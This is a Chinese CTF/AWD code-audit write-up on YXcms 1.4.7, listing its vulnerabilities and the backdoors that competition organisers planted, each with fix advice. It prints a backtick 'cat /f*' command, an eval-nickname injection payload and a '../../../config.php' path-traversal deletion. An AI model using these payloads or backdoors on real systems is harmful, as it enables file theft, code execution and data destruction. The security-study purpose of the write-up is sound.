AWD代码审计—YXcms1.4.7
字数 1622 2025-08-27 12:33:23

YXcms 1.4.7 代码审计与漏洞分析报告

0x01 前言

本文档对YXcms 1.4.7版本进行了全面的代码审计,发现了多个安全漏洞,包括官方版本存在的漏洞和比赛方添加的后门。这些漏洞涉及前台XSS、后台getshell、任意文件删除等多种类型,对系统安全构成严重威胁。

0x02 系统概述

YXcms 1.4.7是一个基于MVC架构的内容管理系统,主要特点包括:

  • 采用MVC路由模式
  • 前后台分离设计
  • 存在多个自定义表和扩展功能
  • 官方版本存在多个未修复的安全漏洞

0x03 官方漏洞分析

3.1 前台存储型XSS漏洞

漏洞位置:留言功能模块

漏洞描述

  • 前台留言内容未经过滤直接插入数据库
  • 后台读取时也未进行过滤处理

关键代码

// protected/apps/admin/controller/extendfieldController.php
public function mesedit()
{
    $tableid=intval($_GET['tabid']);
    if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
    $id=intval($_GET['id']);//信息id
    if(empty($tableid) || empty($id) ) $this->error('参数错误~');
    $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
    if(empty($tableinfo)) $this->error('自定义表不存在~');
    if (!$this->isPost()) {
       $info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
       $this->info=$info;
       $this->tableid=$tableid;
       $this->id=$id;
       $this->tableinfo=$tableinfo;
       $this->display();
    }
    ...
}

利用方式

  1. 在前台留言中插入恶意脚本
  2. 管理员查看留言时触发XSS

修复建议

  • 前台和后台都应添加HTML实体编码过滤
  • 使用专门的XSS过滤函数处理用户输入

3.2 后台模板getshell漏洞

漏洞位置:后台模板管理功能

漏洞描述

  • 后台存在可直接编辑模板的功能
  • 无需管理员权限即可访问

关键文件/protected/apps/default/view/default/1.php

利用方式

  1. 通过模板编辑功能上传恶意PHP代码
  2. 直接访问模板文件执行任意代码

修复建议

  • 严格限制模板编辑权限
  • 对模板文件内容进行安全检测
  • 禁止直接执行模板文件

3.3 任意文件删除漏洞

漏洞位置:photo控制器下的delpic方法

漏洞描述

  • 参数picname完全可控
  • 未对文件路径进行限制
  • 可删除服务器上任意文件

关键代码

// protected/apps/admin/controller/photoController.php
public function delpic()
{
    if(empty($_POST['picname'])) $this->error('参数错误~');
    $picname=$_POST['picname'];
    $path=$this->uploadpath;
    if(file_exists($path.$picname))
      @unlink($path.$picname);
    else{echo '图片不存在~';return;} 
    if(file_exists($path.'thumb_'.$picname))
       @unlink($path.'thumb_'.$picname);
    else {echo '缩略图不存在~';return;}
    echo '原图以及缩略图删除成功~';
}

利用方式

  1. 构造恶意picname参数,如../../../config.php
  2. 发送POST请求删除关键系统文件

修复建议

  • 严格限制picname参数格式
  • 检查文件路径是否在允许目录内
  • 添加操作日志记录

0x04 比赛方添加的后门分析

4.1 后门一:命令执行漏洞

漏洞位置protected/apps/default/view/default/extend_guestbook.php

漏洞描述

  • 隐藏输入框中直接使用反引号执行系统命令
  • 可读取服务器上的敏感文件

关键代码

<input type="hidden" class="input" name="qq" placeholder="<?php echo `cat /f*`;?>" />

利用方式

  1. 访问留言页面
  2. 查看页面源代码获取命令执行结果

修复建议

  • 删除恶意代码行
  • 审查所有视图文件中的可疑代码

4.2 后门二:eval代码执行漏洞

漏洞位置protected/apps/member/view/index_welcome.php

漏洞描述

  • 使用eval函数动态执行用户控制的nickname
  • 通过变量注入实现任意代码执行

关键代码

<td>当前用户:<font color="blue"><?php eval("echo ${auth['nickname']};");?></font></td>

利用方式

  1. 注册用户并设置nickname为恶意代码,如${include '/flag'}
  2. 登录后访问用户主页触发代码执行

修复建议

  • 将eval语句替换为直接输出:{$auth['nickname']}
  • 对用户输入的nickname进行严格过滤
  • 限制nickname的字符集

0x05 防御与修复建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 使用白名单机制限制输入格式
  2. 权限控制

    • 实施最小权限原则
    • 后台功能需严格权限检查
  3. 安全编码

    • 避免使用eval、system等危险函数
    • 使用预处理语句防止SQL注入
  4. 日志审计

    • 记录所有敏感操作
    • 定期审查系统日志
  5. 后门检测

    • 定期进行代码审计
    • 使用文件完整性监控工具

0x06 总结

YXcms 1.4.7版本存在多个严重安全漏洞,包括:

  • 前台存储型XSS
  • 后台模板getshell
  • 任意文件删除
  • 比赛方添加的命令执行和代码执行后门

这些漏洞的组合利用可导致系统完全沦陷。建议开发者立即修复这些漏洞,管理员应检查系统是否已被植入后门。在AWD比赛中,快速发现和利用这些漏洞是取胜的关键,同时也需要防范对手利用这些漏洞进行攻击。

YXcms 1.4.7 代码审计与漏洞分析报告 0x01 前言 本文档对YXcms 1.4.7版本进行了全面的代码审计,发现了多个安全漏洞,包括官方版本存在的漏洞和比赛方添加的后门。这些漏洞涉及前台XSS、后台getshell、任意文件删除等多种类型,对系统安全构成严重威胁。 0x02 系统概述 YXcms 1.4.7是一个基于MVC架构的内容管理系统,主要特点包括: 采用MVC路由模式 前后台分离设计 存在多个自定义表和扩展功能 官方版本存在多个未修复的安全漏洞 0x03 官方漏洞分析 3.1 前台存储型XSS漏洞 漏洞位置 :留言功能模块 漏洞描述 : 前台留言内容未经过滤直接插入数据库 后台读取时也未进行过滤处理 关键代码 : 利用方式 : 在前台留言中插入恶意脚本 管理员查看留言时触发XSS 修复建议 : 前台和后台都应添加HTML实体编码过滤 使用专门的XSS过滤函数处理用户输入 3.2 后台模板getshell漏洞 漏洞位置 :后台模板管理功能 漏洞描述 : 后台存在可直接编辑模板的功能 无需管理员权限即可访问 关键文件 : /protected/apps/default/view/default/1.php 利用方式 : 通过模板编辑功能上传恶意PHP代码 直接访问模板文件执行任意代码 修复建议 : 严格限制模板编辑权限 对模板文件内容进行安全检测 禁止直接执行模板文件 3.3 任意文件删除漏洞 漏洞位置 :photo控制器下的delpic方法 漏洞描述 : 参数picname完全可控 未对文件路径进行限制 可删除服务器上任意文件 关键代码 : 利用方式 : 构造恶意picname参数,如 ../../../config.php 发送POST请求删除关键系统文件 修复建议 : 严格限制picname参数格式 检查文件路径是否在允许目录内 添加操作日志记录 0x04 比赛方添加的后门分析 4.1 后门一:命令执行漏洞 漏洞位置 : protected/apps/default/view/default/extend_guestbook.php 漏洞描述 : 隐藏输入框中直接使用反引号执行系统命令 可读取服务器上的敏感文件 关键代码 : 利用方式 : 访问留言页面 查看页面源代码获取命令执行结果 修复建议 : 删除恶意代码行 审查所有视图文件中的可疑代码 4.2 后门二:eval代码执行漏洞 漏洞位置 : protected/apps/member/view/index_welcome.php 漏洞描述 : 使用eval函数动态执行用户控制的nickname 通过变量注入实现任意代码执行 关键代码 : 利用方式 : 注册用户并设置nickname为恶意代码,如 ${include '/flag'} 登录后访问用户主页触发代码执行 修复建议 : 将eval语句替换为直接输出: {$auth['nickname']} 对用户输入的nickname进行严格过滤 限制nickname的字符集 0x05 防御与修复建议 输入验证 : 对所有用户输入进行严格过滤 使用白名单机制限制输入格式 权限控制 : 实施最小权限原则 后台功能需严格权限检查 安全编码 : 避免使用eval、system等危险函数 使用预处理语句防止SQL注入 日志审计 : 记录所有敏感操作 定期审查系统日志 后门检测 : 定期进行代码审计 使用文件完整性监控工具 0x06 总结 YXcms 1.4.7版本存在多个严重安全漏洞,包括: 前台存储型XSS 后台模板getshell 任意文件删除 比赛方添加的命令执行和代码执行后门 这些漏洞的组合利用可导致系统完全沦陷。建议开发者立即修复这些漏洞,管理员应检查系统是否已被植入后门。在AWD比赛中,快速发现和利用这些漏洞是取胜的关键,同时也需要防范对手利用这些漏洞进行攻击。